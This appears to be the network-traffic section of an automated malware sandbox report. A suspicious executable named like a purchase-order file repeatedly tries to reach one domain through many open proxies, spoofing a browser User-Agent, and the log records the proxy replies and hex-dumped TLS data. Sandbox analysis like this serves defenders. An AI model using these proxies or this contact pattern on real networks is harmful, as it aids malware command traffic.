Mar 11, 2024 16:42:32.326565981 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:34.272672892 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1799	192.168.2.11	54143	45.117.179.179	14791	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.344068050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.373436928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.439004898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.438766003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.470294952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:20.610347986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:08.610260010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1800	192.168.2.11	55148	45.11.95.165	5045	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.364379883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1801	192.168.2.11	55144	218.6.120.111	7777	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.367971897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1802	192.168.2.11	55156	4.144.161.159	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.386620045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.727061033 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Mar 11, 2024 16:42:32.727389097 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 26 67 bd df 19 55 2d 12 64 81 c3 d7 59 89 53 8c ca 0b fb d1 99 81 c5 d4 e8 e6 71 e7 52 56 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&gU-dYSqRV*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#Kqk4EN{-muWXh8w}6<3-
Mar 11, 2024 16:42:33.077428102 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 26 68 92 e2 ae ee cc ca 56 be b2 0d e8 c2 2c 7e 2c 8c 8c cf 5b e4 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e&hV,~,[DOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 16:42:33.077485085 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Mar 11, 2024 16:42:33.077502012 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Mar 11, 2024 16:42:33.077519894 CET	832	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Mar 11, 2024 16:42:33.080456018 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 f9 ba 34 ba 8d 3d 3a 43 63 15 5c ab e6 29 5e d9 8a 9b c8 3e bc 8b ef a2 31 f7 e6 13 e4 c3 cd 05 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 87 80 3f b3 b5 ea 40 cd 51 54 f1 3e 5d e3 bb 4b 57 52 0e 9f 73 Data Ascii: %! 4=:Cc\)^>1(?@QT>]KWRs*?aS`
Mar 11, 2024 16:42:33.447738886 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1f 00 c0 fe da 02 3d 4a 01 14 c2 d9 2a 3d f5 f5 3b 09 eb 6f 2b 02 80 5f 25 6a 0a 17 18 04 ca a1 d3 c4 a8 14 91 6b ac 3b 91 bc 63 a1 e2 ae 2e 88 04 33 77 27 69 22 d9 13 84 8a b4 ad 07 53 5c e1 2b 1d d4 54 66 d6 Data Ascii: =J*=;o+_%jk;c.3w'i"S\+TfUc;.x,'u6$\Y~@Wv7:EY{;[,H$[_-5\|l\Wx]rw(sAD[aQ(Vsq,>d+
Mar 11, 2024 16:42:33.449594975 CET	277	OUT	Data Raw: 17 03 03 01 10 00 00 00 00 00 00 00 01 a3 ff 81 0e 5a 3c ab ac 08 45 18 0d 9c f5 cd ed d7 af 94 f6 16 0c 77 dd d8 f7 c4 a5 2f a9 92 68 d2 fe fb d7 c3 50 2a 2e 12 28 7c e2 58 99 e5 e4 20 c5 ab dc fa 68 dc db 19 d7 a3 7c b0 64 45 d6 f7 9e 44 83 17 Data Ascii: Z<Ew/hP.(\|X h\|dED(,s`z)\|R!<c0,1lDOi2Ad&'0LQ];$X{;^8;'b.kmTHo?=\|,Q9d/YdJvRs`2TW9[
Mar 11, 2024 16:42:33.802454948 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 3a a3 87 1f 80 94 61 5e 9e 8d 38 1a bd 37 45 04 a6 f6 94 f2 7c 13 aa 08 95 a1 db 8c f4 b0 60 c9 fb 20 ae ca 70 9d b2 a9 cb fc 6e 59 8d 68 42 89 9e eb 54 a7 c9 63 5e 32 eb 89 a4 fa a2 ce df 58 78 de d1 ef 4f Data Ascii: q:a^87E\|` pnYhBTc^2XxO:0&Bt?c_Y'L7f9<[\3#Q.kobirvPlGXkh\VABY4}*DBa63ND~#kdW-9o
Mar 11, 2024 16:42:33.802541018 CET	1286	IN	Data Raw: e2 9d 00 77 53 e7 8b e5 cb 92 84 03 c7 82 93 99 20 45 35 01 f7 40 a0 1f 49 8a 6e 35 b0 ba 6b d4 71 54 73 07 5f 52 a2 b6 ff aa 7b f4 88 d2 78 42 fb d0 9c 75 de 0c 37 e9 c8 53 4f 70 20 d4 93 e3 d9 e3 41 d2 b6 9f 2c 54 03 62 51 32 19 77 33 55 96 67 Data Ascii: wS E5@In5kqTs_R{xBu7SOp A,TbQ2w3Ug!>tl sw_jOKcqxYIe+{Yjr#\|=Sc&k%c)2wdG/@bHFNK?%<~23VtUs}nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1803	192.168.2.11	55159	185.236.46.221	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.389756918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1804	192.168.2.11	54296	129.213.150.205	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.406016111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1805	192.168.2.11	55167	72.195.101.99	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.416603088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1806	192.168.2.11	54188	37.187.77.58	49507	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.455805063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.532727003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.642118931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.641963005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.736594915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:20.797770023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:08.797831059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1807	192.168.2.11	54200	103.133.24.19	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.493777990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.532782078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.498938084 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1808	192.168.2.11	54192	188.132.222.52	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.503528118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.532773972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.156078100 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1809	192.168.2.11	54345	47.184.175.164	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.511202097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.532818079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:14.506433010 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/4.14 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:43:14 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3946 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2021 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2021 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1810	192.168.2.11	55142	123.241.210.123	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.514103889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.033720016 CET	326	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1811	192.168.2.11	54461	72.167.221.145	42043	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.543078899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.689032078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.782785892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1812	192.168.2.11	54338	162.223.91.11	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.545749903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
